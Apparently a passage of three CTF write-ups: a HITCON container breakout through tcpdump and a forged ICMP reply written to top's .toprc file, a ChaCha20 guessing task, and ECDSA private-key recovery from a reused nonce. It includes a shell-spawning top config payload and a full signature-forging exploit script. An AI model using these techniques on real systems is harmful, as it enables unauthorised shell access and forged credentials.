determine what it is doing. When we run the `enable` command, we don't see an entry in `htop`:```sh PID USER PRI NI VIRT RES SHR S CPU% MEM% TIME+ Command 11 oShell 20 0 3512 1120 868 R 0.0 0.0 0:00.04 htop 1 root 20 0 1492 4 0 S 0.0 0.0 0:00.26 sleep 300 6 oShell 20 0 34516 5492 2040 S 0.0 0.0 0:00.35 python /oShell.py``` This tells us that the `enable` command is part of the `oShell.py` script, rather than an external binary. Now we know what process it is, we can run `strace` using `htop` in one window, while running `enable` in the other. To have `htop` run `strace` for us we just need to press <kbd>s</kbd> while the Python process is selected:```{st_mode=S_IFCHR|0666, st_rdev=makedev(5, 0), ...}) = 0ioctl(3, TIOCGWINSZ, {ws_row=0, ws_col=0, ws_xpixel=0, ws_ypixel=0}) = 0ioctl(3, TCGETS, {B38400 opost isig icanon echo ...}) = 0ioctl(3, TCGETS, {B38400 opost isig icanon echo ...}) = 0ioctl(3, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon -echo ...}) =writev(3, [{iov_base="Password: ", iov_len=10}, {iov_base=NULL, iov_len=0}], 2)readv(3, [{iov_base="", iov_len=0}, {iov_base="test\n", iov_len=1024}], 2) = 5ioctl(3, TCGETS, {B38400 opost isig icanon -echo ...}) = 0ioctl(3, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon echo ...}) =writev(3, [{iov_base="", iov_len=0}, {iov_base="\n", iov_len=1}], 2) = 1close(3) = 0open("/enable.secret", O_RDONLY) = 3fstat(3, {st_mode=S_IFREG|0444, st_size=31, ...}) = 0fstat(3, {st_mode=S_IFREG|0444, st_size=31, ...}) = 0lseek(3, 0, SEEK_CUR) = 0lseek(3, 0, SEEK_CUR) = 0readv(3, [{iov_base="this-is-secret-7ce3ff0e2c8fd2a7", iov_len=31}, {iov_base=""readv(3, [{iov_base="", iov_len=0}, {iov_base="", iov_len=1024}], 2) = 0close(3) = 0select(0, NULL, NULL, NULL, {tv_sec=1, tv_usec=0}) = 0 (Timeout)writev(1, [{iov_base="Wrong password :(", iov_len=17}, {iov_base="\n", iov_len=1``` The relevant lines from this show us that it opens `/enable.secret`, then reads the contents of the file. In this case, the enable password is revealed to be `this-is-secret-7ce3ff0e2c8fd2a7`. This will change every time the container rebuilds, but is relatively quick to find even manually each time. Now we can execute `enable` and get an "elevated" shell:```shoshell~$ enablePassword:(enabled) oshell~# ``` ### Break Out Part 1 - Journey to File WriteNow we have our elevated shell, we can see we get some extra commands available to us:```sh(enabled) oshell~# helpAvailable commands: help exit id ping ping6 traceroute traceroute6 arp netstat top htop ifconfig tcpdump enable``` The most interesting of these is `tcpdump`. This allows us to write a `pcap` file to an arbitrary location on disk using the `-w` flag consisting of packets received from the network. Unfortunately, the contents of this file cannot be directly controlled as it encapsulates each packet with a pcap header in the file. Fortunately, many Linux utilities are lenient in their parsing of configuration files and so it is likely we can inject arbitrary configuration lines that `top` will parse. One of the simpliest ways to cause a packet to be recieved by `tcpdump` is the `ping` command. On most ping implementations a pattern (`-p`) argument can be used to supply the ping packet payload content. The version of `ping` available in the environment is from `busybox`, which only allows a single repeating byte to be specified as a payload:```sh$ ping --helpBusyBox v1.27.2 (2018-06-06 09:08:44 UTC) multi-call binary.``` We got stuck here for a while thinking about ways to get a packet onto the system. Our thoughts included:* Abusing the SSH connection used to access the environment to set up a tunnel* Traceroute ICMP responses with* Returning DNS PTR or A records with encoded payloads Eventually we realised that while the system itself doesn't allow us to send it incoming packets due to it being a container without a dedicated IP, it does receive responses to `ping` Echo requests sent out to the Internet. This gives us a chance to specify a custom payload in an Echo response, which will be dutifully stored by `tcpdump`. To help us test this we used a script one of our team members had prepared earlier, called [TLS Hello Modify](https://github.com/fincham/nfqueue-break-tls-handshake/blob/master/tls_hello_modify.py). We modified this script to capture ICMP packets leaving a machine and overwrite the payload field of those packets:```pypayload = "payload goes here"parsed[ICMP].load = parsed[ICMP].load[0:len(parsed[ICMP].load) - len(payload)] + payload``` Initially we tried just replacing the entire payload, but this resulted in the packets not being recieved by the server. As it wasn't clear at what point on the network path these modified packets were being discarded, we didn't investigate further, instead trying a few different ways of replacing or modifying the ICMP payload until we managed to get a packet that got through all the firewalls between our server and the CTF server. In English, the end of the original ICMP content is replaced with our payload. Putting this all together, we are able to run our `tcpdump` command and write our payload to a path we specify. Now we just need a payload and path for it. ### Break Out Part 2 - Shell CityNow we can concerntrate on getting a shell. One option is to use the `post-rotate` command feature in `tcpdump`, but we investigated this and found the use of `top` would be simpler due to it executing our process already attached to our TTY. The `top` command will read configuration from `~/.toprc`. This allows us to specify arbitrary commands for `top` to execute through the "Inspect" function. This is discussed in the [top GTFOBins page](https://gtfobins.github.io/gtfobins/top/). To begin, we need the full, expanded path to the `.toprc` file, which we can get by launching `top` and pressing <kbd>w</kbd>:``` Wrote configuration to '/home/oShell//.toprc'``` The payload we decided on was:``` pipe x sh 1>&0 ``` This will simply execute a shell after we choose the `x` inspection option in `top`. It's important to note: * The tab characters before and after `x` are required and cannot be spaces.* The newlines before and after the payload are also required so that it doesn't have extra bytes around it. ### Break Out Part 3 - All together nowPutting this together, we can run our ICMP modification script on a server we control. We can run `tcpdump -w /home/oShell/.toprc -s 500 icmp` to capture ICMP packets and write them to our `.toprc` file. Lastly, we can run `ping [our-server-ip] -c 1` to send a packet and wait for the response. This writes a strange, but still valid, file that `top` can interpret as a configuration. Now we open `top`, press <kbd>shift</kbd> + <kbd>y</kbd> to inspect a process, <kbd>return</kbd> to select the default PID, then select <kbd>x</kbd> (the name of the command we used in our payload), and press <kbd>return</kbd> a final time. We now have an interactive shell! The formatting isn't great, but we can type `ls` to see the directory output in `/`:```sh/ $ ls -lahtotal 908drwxr-xr-x 1 root root 4.0K Nov 28 04:21 .drwxr-xr-x 1 root root 4.0K Nov 28 04:21 ..-rwxr-xr-x 1 root root 0 Nov 28 04:21 .dockerenvdrwxr-xr-x 1 root root 4.0K Nov 27 19:58 bindrwxr-xr-x 5 root root 340 Nov 28 04:21 dev-r--r--r-- 1 1002 1002 31 Nov 28 04:21 enable.secretdrwxr-xr-x 1 root root 4.0K Nov 28 04:21 etc-r-------- 1 root root 35 Nov 26 10:44 flagdrwxr-xr-x 1 root root 4.0K Nov 27 19:58 homedrwxr-xr-x 1 root root 4.0K Nov 27 19:58 libdrwxr-xr-x 5 root root 4.0K Mar 6 2019 mediadrwxr-xr-x 2 root root 4.0K Mar 6 2019 mnt-rwxrwxr-- 1 root root 3.8K Nov 25 10:23 oShell.pydr-xr-xr-x 1004 root root 0 Nov 28 04:21 proc-rwsr-sr-x 1 root root 825.4K Nov 19 10:54 readflagdrwx------ 2 root root 4.0K Mar 6 2019 rootdrwxr-xr-x 2 root root 4.0K Mar 6 2019 rundrwxr-xr-x 1 root root 4.0K Nov 27 19:58 sbindrwxr-xr-x 3 root root 4.0K Nov 27 19:58 sharedrwxr-xr-x 2 root root 4.0K Mar 6 2019 srvdr-xr-xr-x 13 root root 0 Nov 28 04:21 sysdrwxrwxrwt 2 root root 4.0K Mar 6 2019 tmpdrwxr-xr-x 1 root root 4.0K Nov 27 19:58 usrdrwxr-xr-x 1 root root 4.0K Mar 6 2019 var``` From here, we can see a SUID `/readflag` which we can execute. This gives us the flag!```sh/ $ ./readflagHITCON{A! AAAAAAAAAAAA! SHAR~K!!!}```
# Bro64 (crypto/guessing, 143p, 51 solved) ## Description ```Betaflash let’s go in Cuba and dance amigo !! Flag format: CTF{sha256}``` In the task we get an endpoint which returns random payloads in form: ```{"nonce": "dcfu+qXOX30=", "ciphertext": "nT0/C209haz3XQs6JcvrEhkbRXnzZiyR87vI82VDvfaQh9eajLNIzkG51TnZg81g7IEPd3UJElZz8xhCMlVb/cXHJO9h", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"}``` ## Task analysis The idea is pretty simple -> we need to guess what algorithm was used to encrypt the data, and decrypt the flag.A classic example of a terrible task design. ## Solution Knowing cryptography actually not only doesn't help, but also makes this task harder.We tried lots of different encryptions which match the parameters (like AES-CTR, AES-CCM, AES-GCM etc.), until we finally got a hit with ChaCha20.And only then we realised that there was a `dance` reference in the task description... ```python data = {"nonce": "dcfu+qXOX30=", "ciphertext": "nT0/C209haz3XQs6JcvrEhkbRXnzZiyR87vI82VDvfaQh9eajLNIzkG51TnZg81g7IEPd3UJElZz8xhCMlVb/cXHJO9h", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} nonce = base64.b64decode(data['nonce']) ct = base64.b64decode(data['ciphertext']) key = data['key'] cipher = ChaCha20.new(key=key, nonce=nonce) plaintext = cipher.decrypt(ct) print(plaintext)``` And we get `ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}`
# ezdsa ## DescriptionThis task has two parts to it, the first part is the signer. You can send a message to the server and it will sign it and send it back. The second part is the verifier. The verifier will take the message and the signature of the message and verify they match. ## AnalysisLets take a look at the signer code:```Pythonimport socketserverimport randomimport ecdsa key = open("secp256k1-key.pem").read()sk = ecdsa.SigningKey.from_pem(key) def sony_rand(n): return random.getrandbits(8*n).to_bytes(n, "big") def sign(data): if data == b"admin": raise ValueError("Not Permitted!") signature = sk.sign(data, entropy=sony_rand) return signature class TCPHandler(socketserver.StreamRequestHandler): def handle(self): data = self.rfile.readline().strip() try: signature = sign(data).hex() self.wfile.write(b"Your token: " + data + b"," + signature.encode()) except ValueError as ex: self.wfile.write(b"Invalid string submitted: " + str(ex).encode()) if __name__ == '__main__': server = socketserver.ForkingTCPServer(("0.0.0.0", 10101), TCPHandler) server.serve_forever()```Basic info we can get from it:- Every request will call `sign(our_data)`- `sign()` will check that our input is NOT "admin", and will sign- It's using some sort or rand function for the entropy of the signer- The ecdsa curve they are using is "secp256k1"- We can send it any message (besides "admin") and get the signature of the message Now lets take a look at the verifier:```Pythonimport socketserverimport ecdsaimport pyjokesfrom flag import FLAG key = open("pub.pem").read()vk = ecdsa.VerifyingKey.from_pem(key) def valid_signature(msg, sig): try: vk.verify(sig, msg) return True except ecdsa.BadSignatureError: return False class TCPHandler(socketserver.StreamRequestHandler): def handle(self): data = self.rfile.readline().strip() user, signature = data.split(b",") sig = bytes.fromhex(signature.decode()) try: if valid_signature(user, sig): if user == b"admin": self.wfile.write(b"Hello admin! Here is your flag: " + FLAG) else: self.wfile.write(pyjokes.get_joke().encode()) else: self.wfile.write(b"Invalid signature!") except Exception as ex: self.wfile.write(b"Something went wrong!") if __name__ == '__main__': server = socketserver.ForkingTCPServer(("0.0.0.0", 10100), TCPHandler) server.serve_forever()```Basic info we can get from it:- The handler will try to first `valid_signature`- `valid_signature` will use the msg and signature you provided and verify they match- Checks that the message you send equals "admin" before sending the flag Since we cannot send "admin" to the signer I had to do some research into how ecdsa works. ## How the algorithmAn ECDSA signature is a pair of integers `(r,s)`. The ECDSA signature algorithm works like so:1. `e = H(m)` where H is a hashing function (i.e sha1, sha256)2. Pick a random `k` such that `0 < k < n-1`3. Compute `(x,y) = kG` where G is the prime order of curve4. `r = x mod n`5. `s = inverse(k)*(z+r*d) mod n` where d is a private key integer and z is the leftmost bits of e6. Send `(m,r,s)` The ECDSA verification algorithm works like so:1. `e = H(m)`2. `w = inverse(s) mod n`3. `u_1 = zw mod n` and `u_2 = zw mod n`4. `(x,y) = u_1*G + u_2*Q` where Q = d x Q5. If `r` is congruent with `x mod n` we know the signature is valid ## How we can crack itWhen I send the signer different strings to sign i noticed it would always send something with the prefix "13d8f71de2338048bcddd4846ea9762fa022172b6602f269c519892d8bf7e94f".... If we think back to how the ECDSA signature looks `(r,s)` we can see that r is not changing. This means we know that `r = x mod n` has to always be the same. From this information we can figure out that they are using the same "random" `k` everytime. So now lets make two request to the server with different m's. The signer will send us back `(m1,r,s1) and (m2,r,s2)`. Since we know k is constant we can easily solve for it with the following equation:```k = (H(m1) - h(M2)) / (s1 - s2)```We then can solve for what x was: ```x = (k*s1 - h(m1)) / r``` With k and x known we can now start writing the script to sign "admin" and send to the server. ## Solution```Python# https://crypto.stackexchange.com/questions/57846/recovering-private-key-from-secp256k1-signaturesimport ecdsa, hashlibfrom ecdsa.numbertheory import inverse_modfrom ecdsa.ecdsa import Signaturefrom ecdsa import SigningKey, VerifyingKey, derfrom pwn import * curve = ecdsa.SECP256k1text_to_sign = b"admin"hash_algorithm = hashlib.sha1 def get_key_from_hash(): m_hash1 = '21298df8a3277357ee55b01df9530b535cf08ec1' sig1_hex = '13d8f71de2338048bcddd4846ea9762fa022172b6602f269c519892d8bf7e94f77608e0387a7ba5392bd1e2b4ded1048133fb584b7686233af00a6e7c5d427e7' m_hash2 = 'c692d6a10598e0a801576fdd4ecf3c37e45bfbc4' sig2_hex = '13d8f71de2338048bcddd4846ea9762fa022172b6602f269c519892d8bf7e94fdcb6d55b347bfbe8c6a37e2b7c6ca764d7bd07f52d56df2ff80df7a59cbe51ec' m_hash1 = int(m_hash1, 16) r = int(sig1_hex[:len(sig1_hex)//2], 16) sig1 = int(sig1_hex[len(sig1_hex)//2:], 16) m_hash2 = int(m_hash2, 16) sig2 = int(sig2_hex[len(sig2_hex)//2:], 16) print("m_hash1 = " + hex(m_hash1)) print("sig1 = " + hex(sig1)) print("m_hash2 = " + hex(m_hash2)) print("sig2 = " + hex(sig2)) print("r = " + hex(r)) r_i = inverse_mod(r, curve.order) m_h_diff = (m_hash1 - m_hash2) % curve.order for k_try in (sig1 - sig2, sig1 + sig2, -sig1 - sig2, -sig1 + sig2): k = (m_h_diff * inverse_mod(k_try, curve.order)) % curve.order s_E = (((((sig1 * k) % curve.order) - m_hash1) % curve.order) * r_i) % curve.order key = SigningKey.from_secret_exponent(s_E, curve=curve, hashfunc=hash_algorithm) if key.get_verifying_key().pubkey.verifies(m_hash1, Signature(r, sig1)): print("ECDSA Private Key = " + "".join("{:02x}".format(c) for c in key.to_string())) # If we got here we found a solution return key def sign_text(priv_key): sk = ecdsa.SigningKey.from_string(priv_key.to_string(), curve=curve) vk = sk.get_verifying_key() sig = sk.sign(text_to_sign) signed_message = "".join("{:02x}".format(c) for c in sig) return "{},{}".format(text_to_sign.decode("utf-8"), signed_message) def send_message(s_m): target = remote('chal.cybersecurityrumble.de', 10100) print("Sending '{}'".format(s_m)) target.sendline(s_m) target.interactive() signed_message = sign_text(get_key_from_hash())print(send_message(signed_message))```Once you run this script the server will print "Hello admin! Here is your flag: CSR{m33333333333p}". flag = CSR{m33333333333p}